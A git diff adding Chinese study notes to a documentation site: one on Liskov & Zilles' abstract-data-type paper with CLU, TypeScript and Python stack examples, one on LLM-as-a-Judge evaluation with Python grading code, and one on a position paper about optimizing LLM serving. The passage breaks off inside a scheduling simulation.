+- 为什么后来 **Liskov 替换原则（LSP）** 讨论的是「子类型能否替换父类型」——名字里的 Liskov 就是本文作者
+
+本文还区分了**逻辑结构**与**物理结构**：程序员负责清晰、可维护的逻辑结构；编译器负责映射到高效机器代码。这一分工预见了今天「写可读代码、让编译器优化」的主流做法。
+
+## 核心概念
+
+### 1. 抽象数据类型（ADT）
+
+论文给出的定义（意译）：
+
+> 抽象数据类型是一类**抽象对象**，这类对象**完全由其上可执行的操作所刻画**。因此，定义一个 ADT，就是定义刻画该类型的那一组操作。
+
+注意三个关键词：
+
+- **对象（object）**：有身份、可存于变量中、可传参（CLU 里对象在堆上，变量持有引用）
+- **操作（operations）**：外界与这类对象交互的**唯一**合法入口
+- **完全刻画**：不允许用户依赖「内部长什么样」——否则抽象就漏了
+
+这与维基百科上 ADT 条目一致：ADT 是**数学模型**加上**操作集合**；实现可以换，只要操作语义不变。
+
+### 2. 操作簇（operation cluster / cluster）
+
+ADT 在 CLU 中的实现单元叫 **cluster**，结构上分三块：
+
+1. **头部（header）**：列出对外可见的操作名（如 `push`, `pop`, `empty`）
+2. **表示（rep）**：只在 cluster **内部**可见的数据布局
+3. **操作实现**：创建对象与各项操作的代码
+
+只有 cluster 内部的代码能访问 `rep`；集群外的程序**只能通过声明的操作**碰对象。这就是今天说的 **封装（encapsulation）**。
+
+### 3. 函数抽象（functional abstraction）
+
+并非所有过程都绑定在某个 ADT 上。论文把**不隶属于某一抽象类型的操作**称为 **functional abstraction**——例如通用的排序、格式化输出。有了 ADT 之后，「程序里的大多数抽象操作会属于某个类型的操作集」，剩下少数是函数抽象。
+
+### 4. 调用语法：`type$operation(object, args...)`
+
+CLU 用 **`类型名$操作名(参数)`** 调用抽象操作，**第一个参数总是目标对象**。例如 `stack$push(s, token)`。带上类型名是为了：
+
+- 消歧：多个参数可能是不同 ADT 时，明确操作属于哪个类型
+- 允许不同 ADT 使用同名操作（如多种类型都有 `create`）而不冲突
+
+现代语言里 `s.push(token)` 只是语法糖；论文时代的显式写法更利于早期编译器的类型检查。
+
+### 5. 类型参数（泛型）
+
+cluster 可以带 **type parameter**，例如 `stack(element_type: type)` 定义「元素类型可参数化」的栈。实例化时 `stack(integer)` 与 `stack(token)` 是**不同类型**，各自类型检查独立——这是参数化多态，比 C 宏安全得多。
+
+### 6. 与结构化编程的关系
+
+论文把 ADT 嵌进 **逐步求精** 流程：
+
+1. 先在「抽象机器」上写程序——这台机器恰好提供你设计好的 ADT 和操作
+2. 再为每个 ADT 写 cluster，把抽象机器「落地」到真实表示
+
+这样每一层只关心**当前层的契约**，符合 Dijkstra「一次做一个决定」的原则。ADT 让**数据方面的决定**也可以推迟，而不只是控制流方面的决定。
+
+### 7. 逻辑结构 vs 物理结构
+
+程序员写的是**逻辑结构**（易读、易改）；编译器生成的是**物理结构**（快、省内存）。两者可以不一致，只要工具链保证调试器、类型检查等仍按逻辑结构呈现。论文承认：好逻辑结构不自动等于好性能，但把优化交给编译器比让人手写纠缠在一起更可持续。
+
+## 代码示例
+
+### 示例 1：论文中的参数化栈 cluster（CLU 语法，节选）
+
+下面改编自 Liskov & Zilles 论文与后续 CLU 文献中的经典 `stack` 定义，展示 **header + rep + create + operations** 三部分如何拼在一起：
+
+```text
+stack: cluster(element_type: type)
+  is push, pop, top, erasetop, empty:
+
+  rep(type_param: type) = (
+    tp: integer;
+    e_type: type;
+    stk: array[1..] of type_param;
+  )
+
+  create
+    s: rep(element_type);
+    s.tp := 0;
+    s.e_type := element_type;
+    return s;
+  end
+
+  push: operation(s: rep, v: s.e_type);
+    s.tp := s.tp + 1;
+    s.stk[s.tp] := v;
+    return;
+  end
+
+  pop: operation(s: rep) returns s.e_type;
+    v: s.e_type := s.stk[s.tp];
+    s.tp := s.tp - 1;
+    return v;
+  end
+
+  empty: operation(s: rep) returns boolean;
+    return s.tp = 0;
+  end
+end stack
+```
+
+**怎么读这段「外星语法」：**
+
+- `stack(element_type: type)`：定义一个**泛型**栈，元素类型由调用方指定
+- `rep(...)`：**只有** `stack` 这个 cluster 内部能看见 `tp`（栈顶指针）和 `stk` 数组
+- 集群外用户写 `s: stack(integer)` 或 `s: stack(token)`，只能调用 `stack$push(s, x)` 等，**不能**写 `s.tp`
+- 若你把 `rep` 从数组改成链表，只要 `push`/`pop`/`empty` 语义不变，用户代码**零修改**
+
+这就是 ADT 相对「裸结构体 + 全局函数」的胜利：**不变式（invariant）**（如 `0 ≤ tp ≤ length`）被关在 cluster 门内维护。
+
+### 示例 2：同一 ADT 思想在现代 TypeScript 中的写法
+
+今天多数语言没有 `$` 语法，但契约相同：对外只导出操作，隐藏 `rep`。
+
+```typescript
+// 文件: stack.ts — 表示细节不导出
+type StackRep<T> = { items: T[] };
+
+export function createStack<T>(): StackRep<T> {
+  return { items: [] };
+}
+
+export function push<T>(s: StackRep<T>, v: T): void {
+  s.items.push(v);
+}
+
+export function pop<T>(s: StackRep<T>): T {
+  if (s.items.length === 0) throw new Error("empty stack");
+  return s.items.pop()!;
+}
+
+export function isEmpty<T>(s: StackRep<T>): boolean {
+  return s.items.length === 0;
+}
+```
+
+```typescript
+// 文件: main.ts — 用户层只依赖操作，不碰 items
+import { createStack, push, pop, isEmpty } from "./stack";
+
+const s = createStack<number>();
+push(s, 1);
+push(s, 2);
+while (!isEmpty(s)) {
+  console.log(pop(s)); // 2, then 1
+}
+```
+
+TypeScript 的 `StackRep` 类型在技术上仍可从模块外访问字段——语言靠**约定**而非硬封装。Java、C#、Rust 用 `private` 字段做到编译器强制；CLU 用 `rep` 作用域做到**语言级**强制。论文 1974 年就坚持：**没有硬边界，抽象会随维护慢慢泄漏。**
+
+### 示例 3：对比「非 ADT」写法——为什么论文要发明 cluster
+
+```python
+# 反模式：任何人都能破坏栈的不变式
+class Stack:
+    def __init__(self):
+        self.items = []
+
+def broken_pop(s: Stack):
+    s.items = []  # 合法 Python，但语义灾难
+```
+
+```python
+# 更接近 ADT：只暴露方法，内部用 _items 约定私有
+class Stack:
+    def __init__(self):
+        self._items: list = []
+
+    def push(self, v):
+        self._items.append(v)
+
+    def pop(self):
+        if not self._items:
+            raise IndexError("empty")
+        return self._items.pop()
+```
+
+Python 的 `_items` 仍是君子协定；CLU / Java / Rust 则让编译器拒绝 `s._items` 式访问。论文的价值在于把「银行柜台」模型**写进语言语义**，而不只是团队规范。
+
+## 与 CLU 语言的其他遗产
+
+本文是 CLU 设计文档之一，同一语言还影响了：
+
+- **异常（exception）**：结构化错误处理
+- **迭代器（iterator）**：比单纯 `for` 更灵活的遍历抽象
+- **基于堆的对象 + 强类型**：与 C 结构体数组划清界限
+
+Liskov 在 1980 年代 MIT 技术报告 *Abstraction Mechanisms in CLU* 中进一步用编程例子说明**过程抽象、控制抽象、数据抽象**三类抽象如何配合。读 1974 本文可视为理解 CLU 乃至整个「OO 之前的数据抽象」路线的入口。
+
+## 常见误解
+
+| 误解 | 澄清 |
+|------|------|
+| ADT = `class` | ADT 是**契约**（操作集）；`class` 只是实现契约的一种语言手段。Java `interface` + 多个实现更接近论文精神 |
+| ADT 反对性能 | 论文明确区分逻辑/物理结构，并期望编译器优化映射；不是「为了抽象而牺牲速度」 |
+| 本文发明了面向对象 | 论文**没有**子类继承；Liskov 后来才系统讨论子类型。ADT 是 **OO 的数据抽象子集**，不是 OO 全体 |
+| 只有系统语言需要 ADT | 只要模块边界存在（API、微服务 DTO、配置对象），「只暴露操作」都适用 |
+
+## 与今日实践的对应
+
+| 1974 论文概念 | 现代对应 |
+|---------------|----------|
+| ADT | API 资源模型、领域实体、protobuf message + service |
+| cluster | Java `class`、Rust `struct` + `impl`、Go package + 未导出标识符 |
+| `type$op(obj, …)` | `obj.op(…)`、UFCS（Rust）、扩展方法 |
+| type parameter | 泛型 `Stack<T>`、TypeScript 泛型 |
+| functional abstraction | 无状态的 `fn sort<T>(…)`、工具函数 |
+| rep 隐藏 | `private` 字段、Rust 模块隐私、`opaque type` |
+
+## 学习路径建议
+
+1. **先读摘要 + 第 1–2 节**（动机与 ADT 定义），建立「操作刻画类型」直觉
+2. **对照一个你熟悉的语言**：用 Java `interface List` 或 Rust `trait Stack` 手写最小栈，体会「用户看不见 rep」
+3. **读 CLU stack 例子**（上文示例 1 或论文 PDF 全文）——理解 cluster 三段式
+4. 若做分布式系统，再读 Liskov 的 [[vr-1988]] / [[pbft-1999]]——同一位作者，从**数据抽象**走到**复制状态机抽象**，方法论一脉相承
+
+## 延伸阅读
+
+- 论文 PDF：[Programming with Abstract Data Types](http://jpk.pku.edu.cn/course/sjjg/chapter1/resource/Programming%20with%20Abstract%20Data%20Types.pdf)（Liskov & Zilles, 1974）
+- DOI：[10.1145/942572.807045](https://doi.org/10.1145/942572.807045)
+- 维基百科：[Abstract data type](https://en.wikipedia.org/wiki/Abstract_data_type)
+- CLU 历史：[A History of CLU](https://publications.csail.mit.edu/lcs/pubs/pdf/MIT-LCS-TR-561.pdf)（MIT LCS TR-561）
+- 后续机制详解：*Abstraction Mechanisms in CLU*（Liskov, Snyder, Atkinson, Schaffert）
+- 结构化编程背景：[[dijkstra-goto-1968]]、Wirth 逐步求精
+- 模块与类型系统后继：[[standard-ml]]、[[hindley-milner]]
+
+## 一句话总结
+
+**Liskov & Zilles 1974 年告诉我们：类型不只是编译器内置的 `int` 和 `array`，而是程序员可以用「操作簇」自行扩展的契约；把表示藏起来、把行为暴露出来，结构化编程才能真正一层层求精而不被实现细节反噬。**
diff --git a/src/content/docs/papers/llama.md b/src/content/docs/papers/llama.md
index 5094c131f..d08ee7bef 100644
--- a/src/content/docs/papers/llama.md
+++ b/src/content/docs/papers/llama.md
@@ -149,6 +149,7 @@ LLaMA 论文 14 个作者里有 4-5 人后来离职创办了 Mistral——所以
 - [[dpo]] —— DPO — Direct Preference Optimization
 - [[flan-2021]] —— FLAN — 用自然语言指令教模型学会"听话"
 - [[flash-attention]] —— FlashAttention — 不改算法，只改数据怎么进 GPU
+- [[flashattention-2]] —— FlashAttention-2 — 更快的 Attention 与更好的并行
 - [[gpt-3]] —— GPT-3 — Language Models are Few-Shot Learners
 - [[llama-vid-2023]] —— LLaMA-VID — 每帧两枚 token，把小时级视频塞进 LLM
 - [[llava]] —— LLaVA — 开源多模态对话模型
diff --git a/src/content/docs/papers/llm-as-judge.md b/src/content/docs/papers/llm-as-judge.md
new file mode 100644
index 000000000..787d8b9c5
--- /dev/null
+++ b/src/content/docs/papers/llm-as-judge.md
@@ -0,0 +1,247 @@
+---
+title: LLM-as-a-Judge — 用大模型当评测员
+date: 2026-06-13
+分类: 机器学习
+子分类: 模型与算法
+来源: https://arxiv.org/abs/2306.05685
+provenance: pipeline-v3
+---
+
+## 日常类比：米其林试吃员，但不是上帝
+
+想象两家餐厅要决出「谁更好吃」：
+
+- **传统做法**：请 100 位食客盲评，统计满意度——贵、慢，但是金标准。
+- **LLM-as-a-Judge**：雇一位**读过海量食评、能按 rubric 打分的资深试吃员**（大模型），对两份「菜品」（模型回答）做 **pairwise** 或 **single** 评分。
+
+[Zheng et al., 2023](https://arxiv.org/abs/2306.05685) 系统论证：在 MT-Bench、Chatbot Arena 等场景，强模型作 Judge 与人类偏好的一致性**可达可用水平**，但存在**位置偏见、冗长偏见、自偏好**等系统性缺陷——试吃员会偏先上桌的菜、偏篇幅长的摆盘、偏自己熟悉的菜系。
+
+这篇笔记面向零基础读者：弄清 **为什么需要 Judge**、**怎么写 prompt**、**如何与人工/规则指标并用**，并给出可运行的评测片段。
+
+---
+
+## 问题：开放域回答没有唯一标准答案
+
+分类任务的 accuracy 不够用：同一问题常有多种正确表述，人工逐条打分成本随模型迭代指数上升。工业界需要：
+
+1. **可扩展**： nightly 评 thousands 条  
+2. **可解释**： 最好有维度分（有用 / 诚实 / 无害）  
+3. **可对齐人类**： 与抽检或 Arena 投票相关  
+
+LLM-as-a-Judge 用**另一个 LLM** 读 `(question, answer[, reference])`，输出分数或 A/B 胜负，充当 **自动标注器** 或 **离线 reward proxy**。
+
+---
+
+## 核心概念
+
+### 1. Single answer grading（单答案打分）
+
+Judge 对**一个**回答打 Likert 分或 pass/fail。适合有 rubric 的维度分（helpfulness 1–7）。
+
+### 2. Pairwise comparison（成对比较）
+
+同一问题下比较 `answer_A` vs `answer_B`，输出 `A` / `B` / `tie`。Chatbot Arena 的 Elo 即建立在大量 pairwise 上；论文指出 pairwise 往往比绝对分更稳，因为模型更擅长**相对判断**。
+
+### 3. Reference-guided vs reference-free
+
+- **有参考答案**： 对照 gold 评事实性与覆盖度（类似 [[mira-rubric|MIRA]] 的约束项）  
+- **无参考**： 只凭问题与 rubric（开放对话、创意写作）
+
+### 4. 评测维度（MT-Bench 常见）
+
+| 维度 | 含义 | 典型量表 |
+|------|------|----------|
+| **Helpfulness** | 是否解决问题、信息是否够用 | 1–7 Likert |
+| **Honesty / Truthfulness** | 是否胡编、是否承认不知道 | 二元或 1–5 |
+| **Harmlessness** | 毒性、偏见、危险建议 | 规则 + 模型 |
+| **Instruction following** | 格式、约束、多步是否遵守 | 规则检查 + 模型 |
+| **Coherence / Fluency** | 可读性（常与 helpfulness 混评） | 1–5 |
+
+论文在 **§3.2** 还强调：同一 rubric 下，**pairwise** 与 **single** 的分数分布、与人类的 Spearman 相关并不相同；生产里若混用两种接口，仪表盘上的「胜率」与「均分」不可直接对比。
+
+### 5. 已知偏见与缓解
+
+| 偏见 | 表现 | 缓解 |
+|------|------|------|
+| **位置偏见** | 成对比较时更倾向第一个或第二个答案 | 交换 A/B 顺序，各评一次再聚合 |
+| **自偏好** | 同系列模型更偏爱自己生成的文风 | 换用不同家族的 Judge；或 blind 去标识 |
+| **长度偏见** | 更长答案常被判更好（即使更空） | 长度归一化提示；或截断到相近 token |
+| **表面相似** | 与参考答案字面重叠高即高分 | 语义指标 + 人工 spot check |
+| **锚定与 rubric 漂移** | 示例分数带偏后续判断 | 固定 few-shot 示例集；定期重标定 |
+
+Zheng 等报告：在 **MT-Bench** 上，GPT-4 作 Judge 与人类偏好的一致率可达约 **80%** 量级（随题型与子集变化），但仍显著低于理想「可替代人工」线；**Chatbot Arena** 上 Elo 与 Judge 排序的相关性更高，说明**开放式对话**里 pairwise 聚合比单点 Likert 更稳——这与 [[MIRA|MIRA]] 强调「多轮、多约束」评测的设计一致。
+
+---
+
+## 架构：把 Judge 放进评测流水线
+
+```mermaid
+flowchart TB
+  D[Dataset: prompt + candidate answers]
+  J[LLM Judge + rubric prompt]
+  A[Aggregate: mean / Elo / pass rate]
+  H[Human audit sample]
+  D --> J --> A
+  A --> H
+  H -.->|校准 rubric| J
+```
+
+与 [[opik|Opik]] 一类 LLMOps 工具的关系：Judge 是 **metric 函数**；trace 提供上下文；experiment 对比不同模型/prompt 版本。
+
+---
+
+## 例子 A：Pairwise Judge（交换顺序消位置偏见）
+
+```python
+import os
+from openai import OpenAI
+
+client = OpenAI(api_key=os.environ["OPENAI_API_KEY"])
+
+PAIRWISE_TEMPLATE = """You are a fair judge. Compare two assistants' answers to the user question.
+Choose the better one for: helpfulness, correctness, and following instructions.
+Reply with exactly one token: A, B, or tie.
+
+[User Question]
+{question}
+
+[Assistant A]
+{answer_a}
+
+[Assistant B]
+{answer_b}
+"""
+
+def pairwise_once(question: str, a: str, b: str) -> str:
+    msg = PAIRWISE_TEMPLATE.format(question=question, answer_a=a, answer_b=b)
+    r = client.chat.completions.create(
+        model="gpt-4o-mini",
+        messages=[{"role": "user", "content": msg}],
+        temperature=0,
+        max_tokens=4,
+    )
+    return (r.choices[0].message.content or "").strip().upper()
+
+def pairwise_debiased(question: str, a: str, b: str) -> str:
+    v1 = pairwise_once(question, a, b)
+    v2 = pairwise_once(question, b, a)  # swap positions
+    # Map swapped result back
+    flip = {"A": "B", "B": "A", "TIE": "tie"}
+    v2 = flip.get(v2, v2)
+    if v1 == v2:
+        return v1
+    if v1 == "TIE" or v2 == "TIE":
+        return "tie"
+    return "tie"  # disagree -> conservative tie
+```
+
+生产环境应记录 **Judge 模型版本、prompt hash、temperature**，否则不可复现。
+
+---
+
+## 例子 B：Single-answer 多维度 rubric（JSON 输出）
+
+```python
+import json
+
+SINGLE_TEMPLATE = """Score the assistant answer on each dimension 1-7 (7 best).
+Return JSON only: {"helpfulness": int, "honesty": int, "instruction_following": int, "brief_reason": str}
+
+[Question]
+{question}
+
+[Reference answer optional]
+{reference}
+
+[Assistant answer]
+{answer}
+"""
+
+def grade_single(question: str, answer: str, reference: str = "") -> dict:
+    msg = SINGLE_TEMPLATE.format(
+        question=question, answer=answer, reference=reference or "(none)"
+    )
+    r = client.chat.completions.create(
+        model="gpt-4o",
+        messages=[{"role": "user", "content": msg}],
+        temperature=0,
+        response_format={"type": "json_object"},
+    )
+    return json.loads(r.choices[0].message.content)
+
+# 批量评测 + 简单聚合
+rows = [
+    {"q": "Explain CAP theorem in 3 bullets.", "ans": "..."},
+]
+scores = [grade_single(r["q"], r["ans"]) for r in rows]
+avg_help = sum(s["helpfulness"] for s in scores) / len(scores)
+```
+
+对 **JSON 约束**类任务，应叠加 **规则检查**（`json.loads` 是否成功、schema 校验），避免 Judge 单独「脑补合规」。
+
+---
+
+## 例子 C：与 [[opik|Opik]] 的 `evaluate()` 衔接（概念）
+
+Opik 内置 `AnswerRelevance`、`Hallucination` 等 **LLM metric**，本质仍是 Judge + 固定 rubric。自定义 Judge 可继承 `BaseMetric`：
+
+```python
+# 概念片段 — 以 Opik 文档为准调整 import
+from opik.evaluation.metrics import base_metric
+
+class HelpfulnessJudge(base_metric.BaseMetric):
+    def __init__(self, name: str = "helpfulness_judge", model: str = "gpt-4o-mini"):
+        self.name = name
+        self.model = model
+
+    def score(self, input: str, output: str, **kwargs):
+        # 调用例子 B 的 grade_single，返回 score + reason
+        g = grade_single(input, output)
+        return {"value": g["helpfulness"] / 7.0, "reason": g["brief_reason"]}
+```
+
+这样 **LLM-as-a-Judge** 与 **实验对比、trace 回溯** 在同一平台闭环。
+
+---
+
+## 与 RLHF / 红队 / 产品指标的关系
+
+- **RLHF / DPO**：Reward model 本质是「学出来的 Judge」；LLM-as-a-Judge 常作 **cheap proxy** 或 **数据标注器**（见 [[ppo|ppo]]、[[dpo|dpo]]）。论文 §5 讨论：用 GPT-4 Judge 标 preference 再训 RM，存在 **误差传播**——Judge 的系统偏见会变成策略的「合法目标」。
+- **红队**：Harmlessness 维度可用 Judge 批量筛候选攻击成功率（见 [[chaos-engineering-netflix-2016|混沌工程]] 式「持续加压」思路）。
+- **A/B 与在线指标**：Judge 分数适合 **离线回归**；线上仍以留存、任务完成为准，避免「刷 Judge 分」。
+- **可观测闭环**：[[opik|Opik]]、[[wandb|W&B]] 等把 trace → experiment → metric 串起来时，LLM Judge 宜作为 **一层 scorer**，而非唯一 ground truth（见 [[opik-agent-optimization|Opik Agent Optimization]]）。
+
+---
+
+## 实践清单（从零搭一套 Judge）
+
+1. **定 rubric**： 每维度写清 1 分与 7 分的行为锚点（可参考 MT-Bench 题型）。  
+2. **抽 50–100 条人工金标**： 算 Judge 与人类的 Cohen's κ / Spearman。  
+3. **默认 pairwise + 交换顺序**： 排序类任务优先。  
+4. **Judge 与考生分离**： 避免同模型自评（除非研究自偏好）。  
+5. **分层成本**： 小 Judge 筛 → 大 Judge 裁 → 人工审边界 case。  
+6. **版本冻结**： `prompt_v3` + `gpt-4o-2024-08-06` 写入 dataset 元数据。
+
+---
+
+## 局限与诚实边界
+
+- Judge **不是 ground truth**；法律、医疗、合规场景仍需专家签核。
+- **多语言**：英文 Judge 评中文回答常有文化与安全盲区；论文实验以 **英文 MT-Bench / Vicuna** 为主，外推需自建 locale 黄金集。
+- **成本**：GPT-4 级 Judge 全量评百万条仍贵；需分层（小模型筛 + 大模型裁）。
+- **可复现性**：temperature、prompt 版本、模型快照必须写入实验元数据。
+- **对抗性**：模型可学会 **迎合 Judge 文风**（冗长、列表化、道歉套话），与人类「少废话、准答案」偏好背离——这与 [[compositional-incoherence|组合不相干]] 类「指标优化了、行为没对齐」是同一族问题。
+
+---
+
+## 小结
+
+**LLM-as-a-Judge** 把「谁更好」从纯人工搬到可自动化的相对判断与维度打分，是 Chatbot Arena、MT-Bench 及现代 LLMOps 评测的核心技巧。可用前提是：**显式 rubric、偏见缓解、人工校准、与规则指标混用**。把它当成**加速抽检的试吃员**，而不是取代整个食品安全体系。
+
+---
+
+## 参考资料
+
+- 论文 PDF：[arXiv:2306.05685](https://arxiv.org/abs/2306.05685)（v3 修订约 2023-12）
+- 项目页与数据：[lmarena.ai](https://lmarena.ai)（Chatbot Arena）、[MT-Bench 评测脚本](https://github.com/lm-sys/FastChat/tree/main/fastchat/llm_judge)
+- 相关：[[mira-rubric|MIRA]]（多维度 rubric）、[[opik|Opik]]（评测流水线）、[[dwork-differential-privacy-2006|差分隐私]]（发布评测集时的隐私）、[[noise-explorer-2018|Noise Explorer]]（ε 选型思维可类比 Judge 阈值选型）
diff --git a/src/content/docs/papers/llm-serving-needs-math.md b/src/content/docs/papers/llm-serving-needs-math.md
new file mode 100644
index 000000000..09ac83fde
--- /dev/null
+++ b/src/content/docs/papers/llm-serving-needs-math.md
@@ -0,0 +1,377 @@
+---
+title: LLM Serving Needs Mathematical Optimization, Not Just Heuristics — 零基础学习笔记
+来源: 'Zijie Zhou, "Position: LLM Serving Needs Mathematical Optimization and Algorithmic Foundations, Not Just Heuristics", arXiv:2605.01280, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：外卖调度，不能照搬「先来先服务」
+
+想象你经营一家大型外卖厨房，同时接几百单：
+
+- 有些订单是「只做前菜」（**prefill**：一次性处理整段输入 prompt，算力密集）。
+- 有些订单要「边做边上菜，每上一道菜还要占一个保温格」（**decode**：逐 token 生成，每步都要读写不断变长的 **KV cache**，更吃内存带宽）。
+- 你事先**不知道**每单最终要做几道菜（**输出长度未知**）。
+- 保温格有限，满了就得踢掉一单，前面做的前菜全白费（**KV 溢出 → 驱逐 → 浪费已算 prefill**）。
+
+老派调度员会怎么做？**先来先服务（FIFO）**、**轮询派单（round-robin）**、保温格满了就踢**最久没动过的**（**LRU**）。这些规则在普通 Web 服务器、数据库连接池里用了二十年，简单、好实现。
+
+但 LLM 推理有个坑：**每单的「占用空间」会随着上菜进度单调变大**，而且不同阶段的瓶颈完全不同（prefill 像炒菜台，decode 像保温架）。用 Web 时代的经验硬套，在 benchmark 上可能还行，一旦遇到爆款活动、超长对话、MoE 模型里某几个专家被打爆，系统会在**负载边界**突然雪崩——latency 飙升、GPU 空转、成本失控。
+
+这篇 **ICML 2026 Position Paper**（Zijie Zhou）的核心主张是：**LLM serving 已经长大，不能再靠「够用就行」的启发式；需要把问题写成数学模型，设计出带可证明保证的算法。** 就像航空业用线性规划推导出「bid price」卖票策略，最终落地成 O(1) 的 accept/reject 规则，三十年带来数十亿美元增量——LLM serving 也需要同样的「建模 → 洞察 → 可部署策略」流水线。
+
+---
+
+## 是什么
+
+这是一篇 **立场论文（position paper）**，不是新系统实现，而是：
+
+1. **诊断**：vLLM、SGLang 等主流 serving 栈在架构上创新很多（continuous batching、PagedAttention、PD 分离、MoE），但**决策层**仍大量继承经典分布式计算的启发式。
+2. **论证**：LLM 推理有独特的结构（两阶段、KV 动态增长、输出长度未知、continuous batching 耦合），通用启发式**无法系统性利用**这些结构。
+3. **呼吁**：把路由、调度、缓存驱逐、容量规划、MoE 负载均衡等问题**形式化**，引入运筹学 / 在线算法 / 排队论，追求**最坏情况保证、容量下界、工程蓝图**——而不只是 ShareGPT trace 上的平均表现。
+
+论文信息：
+
+| 项目 | 内容 |
+|------|------|
+| 标题 | LLM Serving Needs Mathematical Optimization and Algorithmic Foundations, Not Just Heuristics |
+| 作者 | Zijie Zhou |
+| arXiv | [2605.01280](https://arxiv.org/abs/2605.01280) |
+| 类型 | ICML 2026 Position Paper |
+
+---
+
+## 为什么重要
+
+### 1. 规模已经大到「几个百分点就是天文数字」
+
+头部厂商每天服务**数十亿**次推理请求；单次集群成本可达**每天数十万美元**量级。能源消耗以**吉瓦时**计。在这种规模下，调度算法哪怕只提升 5%–10% 吞吐或降低 tail latency，都是巨大的金钱与碳排放节省。
+
+### 2. 启发式在「平均 case」和「边界 case」之间断层
+
+FIFO、JSQ、LRU 在常见 trace 上看起来「够好」，但生产环境会遇到：
+
+- 产品发布时的**流量尖峰**
+- 多轮 Agent 导致的**超长 decode**
+- MoE 里**热点专家**造成的 straggler
+- 多模态场景里**高分辨率视频**重复编码
+
+启发式缺少**最坏情况保证**：在 adversarial 或漂移 workload 下可能**静默失败**——不是 crash，而是 latency 和成本缓慢恶化，直到运维加机器。
+
+### 3. 理论不是「纸上求解器」，而是「揭示好算法的结构」
+
+论文反复强调航空 revenue management 的先例：航空公司并不是对每个订票请求在线解 LP，而是用 LP 的对偶变量得到 **bid price**，部署成 O(1) 规则。数学优化的价值在于**分析车辆**，告诉你哪些约束 binding、哪些目标重要——工程师再据此设计轻量启发式，而不是盲目调参。
+
+---
+
+## 核心概念
+
+### 1. Prefill vs Decode：两阶段不对称
+
+| 阶段 | 做什么 | 典型瓶颈 | 资源画像 |
+|------|--------|----------|----------|
+| **Prefill** | 并行处理整个 prompt | 算力（FLOPs） | compute-bound |
+| **Decode** | 自回归逐 token 生成 | 读 KV cache | memory-bandwidth-bound |
+
+同一请求在不同阶段需要**不同的硬件与批处理策略**，这也是 **prefill-decode disaggregation**（Splitwise、DistServe 等）兴起的根源。用单一 FIFO 队列混合两阶段，等于用同一套规则管「炒菜」和「保温」。
+
+### 2. KV Cache：动态、单调增长、大小未知
+
+每生成一个 token，各层都要追加 K/V 向量。因此：
+
+- 内存占用 ≈ `prompt_len + 已生成 token 数`
+- **到达时不知道**最终占用多少（输出长度未知）
+- 超出 GPU 容量 → **驱逐** → 可能浪费已完成的 prefill 计算
+
+这把经典「job 大小固定」的调度问题，变成了 **「放进 bin 之后 item 还会长大」的在线 bin packing**——溢出代价极高。
+
+### 3. Continuous Batching：请求命运耦合
+
+Orca / vLLM 的 continuous batching 允许请求在 decode 过程中**动态进出 batch**。一个 slot 空出来时，调度器要决定**接哪条等待队列里的请求**——这是带 memory constraint 的在线 admission control，而不是简单的 FCFS。
+
+### 4. 四层典型决策问题（论文 Section 2 框架）
+
+```text
+                    ┌─────────────────────────────────────┐
+  请求进入 ────────►│ 2.2 DP 路由：分到哪个 decode worker？ │──► sticky assignment
+                    └─────────────────────────────────────┘
+                                        │
+                    ┌───────────────────▼───────────────────┐
+                    │ 2.1 MoE EP：token 如何均衡到各 GPU？   │──► all-to-all 同步
+                    └─────────────────────────────────────┘
+                                        │
+                    ┌───────────────────▼───────────────────┐
+                    │ 2.3 Worker 内调度 + 容量规划           │──► FCFS / 阈值准入
+                    └─────────────────────────────────────┘
+                                        │
+                    ┌───────────────────▼───────────────────┐
+                    │ 2.4 多模态 embedding 缓存驱逐            │──► LRU
+                    └─────────────────────────────────────┘
+```
+
+### 5. 启发式 vs 形式化：对照表
+
+| 决策点 | 常见启发式 | 忽略的 LLM 结构 | 形式化方向 |
+|--------|------------|-----------------|------------|
+| 路由 | round-robin, JSQ, power-of-two | decode 长度未知、KV 线性增长、sticky | 在线整数规划 + 短 horizon 预测 |
+| Worker 调度 | FCFS | 输出长度、KV  footprint | 最短作业优先 / 阈值准入（WAIT） |
+| MoE 均衡 | auxiliary loss, 噪声路由 | 推理时 batch 内即时重分配 | 线性规划（LPLB） |
+| 缓存驱逐 | LRU | 对象大小异质、miss 代价差异 | 最小期望代价（LEC） |
+| 扩缩容 | 队列深度 / GPU 利用率 | 内存稳定性 vs 计算稳定性 | 排队论闭式稳定条件 |
+
+### 6. 理论带来的四类收益
+
+1. **最坏情况鲁棒性**：competitive ratio，对抗任意 arrival 序列。
+2. **容量规划下界**：部署前算「最少需要多少 GPU 才稳定」。
+3. **算法结构指导工程**：LP 对偶 → 阈值策略；fluid model → 准入规则。
+4. **最优性基线**：知道离理论极限还有多远，避免过度优化。
+
+---
+
+## 代码示例 1：用 Python 模拟「KV 增长 + FCFS 的隐患」
+
+下面是一个**教学级**离散事件模拟，展示为什么 FCFS 在「短请求 + 长请求混合、KV 有限」时 tail latency 会变差。真实 vLLM 复杂得多，但直觉一致。
+
+```python
+from dataclasses import dataclass, field
+from collections import deque
+import heapq
+
+@dataclass(order=True)
+class Request:
+    arrival: float
+    prompt_tokens: int
+    output_tokens: int  # 真实系统里到达时未知；这里上帝视角用于对比
+    started: float = field(default=0.0, compare=False)
+    finished: float = field(default=0.0, compare=False)
+
+def kv_units(req: Request, step: int) -> int:
+    """每 decode 步 KV 占用 ~ prompt + 已生成 token 数"""
+    return req.prompt_tokens + step
+
+def simulate(queue_policy: str, requests: list[Request], kv_cap: int, batch_cap: int):
+    """
+    queue_policy: 'fcfs' 或 'sjf'（按 predicted 输出长度优先，近似 shortest-job-first）
+    """
+    now = 0.0
+    waiting = deque(sorted(requests, key=lambda r: r.arrival))
+    active: list[tuple[int, Request, int]] = []  # (remaining_decode, req, current_step)
+    done: list[Request] = []
+
+    while waiting or active:
+        # 准入：有空 slot 且 KV 够
+        while waiting and len(active) < batch_cap:
+            r = waiting[0]
+            need = r.prompt_tokens  # prefill 后第一步 decode 的 KV
+            used = sum(kv_units(a[1], a[2]) for a in active)
+            if used + need > kv_cap:
+                break
+            waiting.popleft()
+            r.started = now
+            active.append((r.output_tokens, r, 0))
+
+        if not active:
+            now = waiting[0].arrival
+            continue
+
+        # 所有 active 请求推进一步 decode
+        now += 1.0
+        next_active = []
+        for rem, r, step in active:
+            if rem <= 1:
+                r.finished = now
+                done.append(r)
+            else:
+                next_active.append((rem - 1, r, step + 1))
+        active = next_active
+
